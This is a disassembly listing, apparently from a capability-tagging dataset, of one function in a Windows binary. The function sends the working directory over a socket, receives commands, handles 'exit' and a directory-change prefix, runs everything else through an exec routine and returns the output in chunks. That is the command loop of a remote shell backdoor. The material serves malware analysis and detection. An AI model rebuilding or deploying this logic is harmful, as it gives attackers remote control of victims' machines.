Function at 0x140001ff2
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
push rbx
sub rsp, 0xa68
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa00], rcx
lea rax, [rbp + 0x400]
mov rcx, rax
call fcn.140003030
lea rax, [rbp + 0x3d0]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::path()
lea rax, [rbp + 0x820]
mov rcx, rax
call sym.std::filesystem::current_path_abi:cxx11___
lea rdx, [rbp + 0x820]
lea rax, [rbp + 0x3d0]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::operator=(std::filesystem::__cxx11::path&&)
lea rax, [rbp + 0x820]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::~path()
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0x3d0]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::string() const
lea rax, [rbp + 0x850]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.int strcpy_s<1024ull>(char (&) [1024ull], char const*)
lea rax, [rbp + 0x850]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0xa00]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rdx, [rbp + 0x420]
mov rax, qword [rbp + 0xa00]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x9d4], eax
cmp dword [rbp + 0x9d4], 0
jle 0x140002539
mov eax, dword [rbp + 0x9d4]
cdqe
mov byte [rbp + rax + 0x420], 0
lea rax, [rbp + 0x89f]
mov qword [rbp + 0x9c0], rax
nop
nop
lea rcx, [rbp + 0x89f]
lea rdx, [rbp + 0x420]
lea rax, [rbp + 0x870]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x870]
lea rdx, str.exit
mov rcx, rax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov ebx, eax
lea rax, [rbp + 0x870]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x89f]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
test bl, bl
jne 0x140002540
lea rax, [rbp + 0x8ef]
mov qword [rbp + 0x9b8], rax
nop
nop
lea rcx, [rbp + 0x8ef]
lea rdx, [rbp + 0x420]
lea rax, [rbp + 0x8c0]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
mov r9d, 2
mov r8d, 0
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp + 0x8a0]
lea rdx, [0x1400090e8]
mov rcx, rax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
mov ebx, eax
lea rax, [rbp + 0x8a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8ef]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
test bl, bl
je 0x1400023b4
lea rax, [rbp + 0x93f]
mov qword [rbp + 0x9b0], rax
nop
nop
lea rcx, [rbp + 0x93f]
lea rdx, [rbp + 0x420]
lea rax, [rbp + 0x910]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x96e]
mov qword [rbp + 0x9a8], rax
nop
nop
lea rcx, [rbp + 0x96e]
lea rdx, [rbp + 0x420]
lea rax, [rbp + 0x940]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x940]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::length___const
lea rcx, [rax - 3]
lea rax, [rbp + 0x8f0]
lea rdx, [rbp + 0x910]
mov r9, rcx
mov r8d, 3
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rdx, [rbp + 0x8f0]
lea rax, [rbp - 0x60]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x8f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x940]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x96e]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
lea rax, [rbp + 0x910]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x93f]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::filesystem::current_path_std::filesystem::__cxx11::path_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::~path()
lea rax, [rbp + 0x96f]
mov qword [rbp + 0x9a0], rax
nop
nop
lea rdx, [rbp + 0x96f]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x1400090eb]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x96f]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
add eax, 1
mov ebx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0xa00]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002028
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x420]
mov rcx, rax
call dbg.exec[abi:cxx11](char const*)
lea rdx, [rbp + 0x970]
lea rax, [rbp + 0x400]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x970]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov qword [rbp + 0x9d8], 0
jmp 0x14000248e
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x9d8]
lea rdx, [rbp + 0x400]
mov r9d, 0x800
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov qword [rbp + 0x9c8], rax
mov rax, qword [rbp + 0x9c8]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov rdx, qword [rbp + 0x9c8]
mov rax, qword [rbp + 0xa00]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
add qword [rbp + 0x9d8], 0x800
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x400]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::length___const
cmp qword [rbp + 0x9d8], rax
setb al
test al, al
jne 0x1400023ff
lea rax, [rbp + 0x997]
mov qword [rbp + 0x998], rax
nop
nop
lea rdx, [rbp + 0x997]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x1400090eb]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rax, [rbp + 0x997]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::size___const
add eax, 1
mov ebx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
mov rax, qword [rbp + 0xa00]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002028
mov ebx, 0
jmp 0x140002546
nop
mov ebx, 1
lea rax, [rbp + 0x3d0]
mov rcx, rax
call dbg.std::filesystem::__cxx11::path::~path()
cmp ebx, 1
jne 0x140002561
mov ebx, 1
jmp 0x140002566
mov ebx, 0
lea rax, [rbp + 0x400]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jmp 0x140002782
add rsp, 0xa68
pop rbx
pop rbp
ret